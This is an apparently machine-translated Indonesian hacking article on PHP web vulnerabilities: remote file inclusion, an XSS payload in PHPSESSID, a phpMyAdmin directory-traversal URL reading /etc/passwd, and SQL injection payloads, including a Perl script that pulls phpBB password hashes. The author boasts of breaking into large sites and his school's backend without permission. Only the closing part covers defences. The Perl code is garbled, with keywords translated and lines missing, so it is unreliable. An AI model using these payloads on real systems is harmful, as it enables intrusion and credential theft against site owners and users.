Dilihat dari keamanan jaringan saat ini, kerentanan halaman WEB yang paling dikhawatirkan dan paling banyak diekspos oleh semua orang adalah ASP. Dalam hal ini, Xiaozhu adalah ahlinya, dan saya tidak punya pendapat juga merupakan masalah kerentanan keamanan yang sangat serius, tetapi tidak banyak artikel di bidang ini. Di sini, mari kita bahas secara singkat kerentanan terkait halaman PHP.
Saya telah membuat ringkasan tentang kerentanan umum PHP saat ini, yang secara kasar dibagi ke dalam kategori berikut: termasuk kerentanan file, kerentanan eksekusi perintah skrip, kerentanan kebocoran file, kerentanan injeksi SQL, dll. Tentu saja, untuk beberapa teknologi umum seperti sebagai Spoofing COOKIE, saya tidak akan membahasnya di sini, ada banyak informasi tentangnya secara online. Jadi, mari kita analisa cara mengeksploitasi kerentanan ini satu per satu!
Pertama, mari kita bahas kerentanan file yang disertakan. Kerentanan ini harus dikatakan unik untuk PHP. Hal ini disebabkan oleh kurangnya pemrosesan data berbahaya yang disediakan secara eksternal, yang memungkinkan penyerang jarak jauh mengeksploitasi kerentanan ini untuk menjalankan perintah sewenang-wenang pada sistem dengan proses WEB. izin.Command. Mari kita lihat contohnya: Misalkan ada kode seperti itu di a.php:
<?php
include($include."/xxx.php\");
?>
Dalam kode ini, $include secara umum merupakan jalur yang telah diatur, namun kita dapat mencapai tujuan serangan dengan membuat jalur sendiri .php, web ini adalah ruang yang kita gunakan untuk menyerang. Tentu saja, b.php adalah kode yang kita gunakan untuk menyerang. Kita dapat menulis di b.php seperti: passthru("/bin/ls /etc ") ; kode. Dengan cara ini, Anda dapat melakukan beberapa serangan yang disengaja. (Catatan: Server web seharusnya tidak dapat mengeksekusi kode PHP, jika tidak maka akan ada masalah. Untuk detail yang relevan, Anda dapat melihat < < Cara menangani kerentanan umum. dalam program PHP Attack >>). Dalam hal kerentanan ini, ada banyak masalah, misalnya: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart dan masih banyak lagi.
Selanjutnya, mari kita lihat kerentanan eksekusi perintah skrip. Hal ini disebabkan kurangnya pemfilteran parameter URI yang dikirimkan oleh pengguna. Mengirimkan data yang berisi kode HTML berbahaya dapat memicu serangan skrip lintas situs dan dapat memperoleh informasi sensitif pengguna sasaran. Mari kita beri contoh juga: halaman index.php di PHP Transparan PHP 4.3.1 atau di bawahnya tidak memiliki penyaringan PHPSESSID yang memadai. Kita dapat mencapai tujuan serangan melalui kode berikut:
http://web/index.php?PHPSESSID="><script>...</script >Dalam skrip kita dapat membuat fungsi untuk mendapatkan beberapa informasi sensitif pengguna. Terdapat sedikit kerentanan dalam hal ini, kecuali Dalam selain PHP Transparan ada : PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, dll.
Lalu, mari kita lihat kerentanan pengungkapan file. Kerentanan ini disebabkan oleh kurangnya penyaringan parameter yang dikirimkan pengguna. Penyerang jarak jauh dapat menggunakannya untuk melakukan serangan traversal direktori dan mendapatkan beberapa informasi sensitif. Mari kita ambil contoh phpMyAdmin yang baru ditemukan. Di phpMyAdmin, halaman ekspor.php tidak sepenuhnya memfilter parameter 'apa' yang dikirimkan oleh pengguna. Penyerang jarak jauh dapat melewati ini dengan mengirimkan data yang berisi beberapa karakter '../'. Atasi pembatasan WEB ROOT dan lihat informasi file apa pun di sistem dengan izin WEB. Misalnya, memasukkan alamat seperti ini: ekspor.php?apa=../../../../../.. /etc/passwd%00 dapat mencapai tujuan kebocoran file relatif Masih ada lagi: myPHPNuke, McNews, dll.
Akhirnya, kita kembali ke tempat yang paling menarik. Pikirkan betapa menyenangkannya menggunakan injeksi SQL di halaman asp. Dulu, kita harus menginjeksi secara manual sampai Xiaozhu menyadari "buku rahasia injeksi SQL" (hehe), dan kemudian setelah mengembangkan NBSI, Aliansi NB kami benar-benar membuat perbedaan besar. Kami berturut-turut membantu CSDN, Forum Monopoli, China Channel, dan situs web besar lainnya untuk menemukan celah (Saya tidak akan membahas lebih banyak omong kosong tentang ini, ini agak keluar dari topik. ..). Kembali ke topik sebenarnya, SQL injection di asp kurang lebih sama dengan SQL injection di php, hanya saja perhatikan sedikit fungsi yang digunakan. Ubah asc menjadi ASCII, len menjadi LENGTH, dan lain-lain. Fungsinya pada dasarnya tetap tidak berubah. Faktanya, ketika semua orang melihat injeksi SQL di PHP, apakah mereka memikirkan PHP-NUKE dan PHPBB? Ya, seperti kata pepatah, forum seperti Dongwang harus menjadi raja celah di dunia ASP Bukan berarti keamanan forumnya terlalu buruk, tapi terlalu terkenal. Semakin banyak orang menggunakannya, semakin banyak orang yang melakukan penelitian dan semakin banyak celah keamanan yang ditemukan , yang sangat populer saat ini. Ketika kebanyakan orang menggunakan PHP untuk membangun forum, mereka biasanya memilih PHPBB. Kerentanannya juga terus muncul. Dari kerentanan paling awal ditemukan di phpBB versi 1.4.0 hingga phpBB 2.0 terbaru. Versi .6 dari groupcp .php, dan search.php, profile.php, viewtopic.php, dll yang ditemukan sebelumnya berjumlah sekitar selusin. Hal ini selalu menyebabkan beberapa orang menggunakannya sebagai produk eksperimental ketika mempelajari kerentanan PHP ., seperti kata pepatah, latihan membuatmu sempurna, saya yakin phpBB akan semakin baik kedepannya.
Oke, mari kita analisis penyebab kerentanannya. Ambil halaman viewtopic.php sebagai contoh. Saat memanggil viewtopic.php, "topic_id" diperoleh langsung dari permintaan GET dan diteruskan ke perintah kueri SQL, dan Tanpa pemfilteran. , penyerang dapat mengirimkan string SQL khusus untuk mendapatkan kata sandi MD5. Informasi kata sandi ini dapat digunakan untuk login otomatis atau brute force cracking. (Saya rasa tidak ada orang yang mau melakukan brute force cracking, kecuali ada alasan yang sangat penting). Mari kita lihat kode sumber yang relevan terlebih dahulu:
# jika ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# lain jika ( isset($HTTP_GET_VARS['topik']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topik']);
# }
Dari gambar di atas kita dapat melihat bahwa jika view=newest dan sid yang dikirimkan disetel ke suatu nilai, kode kueri yang dieksekusi akan terlihat seperti berikut (jika Anda belum melihat kode sumber PHPBB, saya sarankan Anda membacanya lalu datang ke sini Lihat, sistem yang terpengaruh adalah: phpBB 2.0.5 dan phpBB 2.0.4)
.
# DARI " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# di mana s.session_id = '$session_id'
# DAN u.user_id = s.session_user_id
# DAN p.topic_id = $topic_id
# DAN p.post_time >= u.user_lastvisit
# ORDER OLEH p.post_time ASC
# LIMIT 1";
Rick memberikan kode pengujian berikut:
use IO::Socket;
$jarak jauh = bergeser ||.'localhost';
$view_topic = pergeseran ||. '/phpBB2/viewtopic.php';
$uid = bergeser ||.2;
$pelabuhan = 80;
$dbtype = 'mysql4'; # mysql4 atau pgsql
print "Mencoba mendapatkan hash kata sandi untuk uid $uid server $remote dbtype: $dbtypen";
$p = "";
untuk($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->baru(PeerAddr => $jarak jauh,
PeerPort => $port,
Proto => "tcp",
Ketik => SOCK_STREAM)
atau mati "Tidak dapat terhubung ke $remote:$port :$@n";
$str = "DAPATKAN $view_topic" ."?sid=1&topic_id=-1" .
cetak $soket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # ganti ini dengan pgsql atau hapus
cetak $socket "Host: $jarak jauhnn";
sementara ($jawaban = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Cocok dengan lokasi: viewtopic.php?p=<num>#<num> {
$p .= chr();
}
}
tutup($soket);
}
print "nMD5 Hash untuk uid $uid adalah $pn";
# enkode acak str
sub kode_acak {
$str = pergeseran;
$ret = "";
untuk($i=0; $i<panjang($str); $i++) {
$c = substr($str,$i,1);
$j = panjang rand($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" .sprintf("%x",ord($c));
} kalau tidak {
$ret .= $c;
}
}
kembalikan $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
kembalikan " union pilih ord(substring(user_password," .$index . ",1)) dari phpbb_users di mana user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; pilih ascii(substring(kata sandi pengguna dari $index untuk 1)) sebagai post_id dari phpbb_posts p, phpbb_users u di mana u.user_id=$uid atau false";
} kalau tidak {
kembali "";
}
}
Saya tidak akan menjelaskan banyak tentang kode rusak ini. Fungsinya untuk mendapatkan nilai HASH.
Melihat ini, Anda mungkin memiliki beberapa pertanyaan tentang mengapa fungsi modifikasi yang saya sebutkan sebelumnya tidak digunakan. Saya tidak takut membuat orang tertawa ketika saya memberi tahu mereka: Faktanya, pernyataan kueri dari beberapa halaman di banyak situs di Internet akan terlihat. seperti ini:
display.php?sqlsave=pilih+*+dari+aaa+di mana+xx=yy+pesanan+oleh+bbb+desc
Jangan tertawa, itu benar. Saya telah menggunakan ini untuk mengakses beberapa website besar. Kalau yang mana, sulit untuk membedakannya, tapi untuk website sekolah kami, saya menggunakan ini untuk mengakses backend (saya harap pusat jaringan sekolah bisa). (Saya tidak melihatnya) Artikel ini, ^_^). Gunakan fungsi sebelumnya. Jika tidak, Anda harus mengubah kata sandi orang lain!!!
Saya hampir lupa bahwa PHP berbeda dari ASP dalam hal injeksi SQL. MySQL tidak sefleksibel MSSQL dalam menggunakan pernyataan SQL. Oleh karena itu, banyak pernyataan query yang dapat digunakan di MSSQL tidak akan berfungsi di database MySQL Pernyataan injeksi yang umum adalah seperti ini: aaa.php?id=a' into outfile 'pass.txt atau aaa.php?id=a' into outfile 'pass.txt' /*Dapat diubah lebih lanjut menjadi: aaa.php? id=a' atau 1=1 gabungan pilih id,nama, kata sandi dari pengguna ke file keluar 'c:/a.txt. Dengan cara ini Anda dapat mengekspor data database ke file dan kemudian melihatnya.
Atau seperti ini: mode=',level_pengguna='4
Pernyataan ini umumnya digunakan ketika memodifikasi data. Jika ada kerentanan pada halaman, hal ini dapat mencapai efek peningkatan izin.
Lainnya seperti 'OR 1=1 -- or: 1' atau 1='1 mirip dengan asp. Saya tidak akan membahas detailnya di sini. Di PHP, injeksi SQL tampaknya merupakan kerentanan nomor satu halaman. Inilah masalahnya.
Faktanya, Anda dapat melihat bahwa hanya ada satu alasan untuk klasifikasi di atas: parameter yang dikirimkan tidak difilter atau pemfilteran tidak cukup ketat. Garis pertahanan peretas selalu bersifat ofensif dan defensif metode secara umum.
Pertama-tama menurut saya pribadi yang paling penting. Yang paling penting adalah mengatur magic_quotes_gpc ke ON. Fungsinya untuk mengubah tanda kutip tunggal, tanda kutip ganda, garis miring terbalik, dan karakter nol menjadi karakter yang mengandung garis miring terbalik, misalnya. pilih * dari admin di mana nama pengguna='$namapengguna' dan kata sandi ='$kata sandi' pernyataan, penyerang ingin menggunakan 1' atau 1='1 untuk melewati verifikasi, tetapi string tersebut akan diubah menjadi ini: pilih * dari admin di mana nama pengguna='a' dan kata sandi='1' atau 1='1' untuk mencapai tujuan mencegah injeksi. Faktanya, operasi addlashes() dilakukan secara otomatis. Jika tidak berhasil, tentukan fungsi Anda sendiri untuk menanganinya. Sekarang tampaknya mereka yang terlibat dalam injeksi PHP juga relatif tertekan, karena Versi di bawah myslq4 tidak mendukung subpernyataan, dan versi baru mysql akan mengaktifkan opsi magic_quotes_gpc secara default.
Cara untuk mengatasi kerentanan include file adalah dengan meminta programmer untuk mencoba untuk tidak menggunakan variabel untuk parameter dalam file include. Jika variabel digunakan, nama file yang akan dimasukkan harus diperiksa secara ketat dan tidak boleh ditentukan secara sembarangan oleh pengguna disarankan untuk menonaktifkan global_variables. Misalnya, membatasi jalur operasi PHP pada pembukaan file sebelumnya adalah pilihan yang diperlukan. Selain itu, kecuali jika diperlukan, pastikan untuk mematikan fungsi pembukaan file jarak jauh PHP. Ubah file php.ini:allow_url_fopen = Nonaktif (Catatan: Lihat <<Masalah Keamanan PHP: Remote Overflow, DoS, Kerentanan Bypass Safe_mode>>).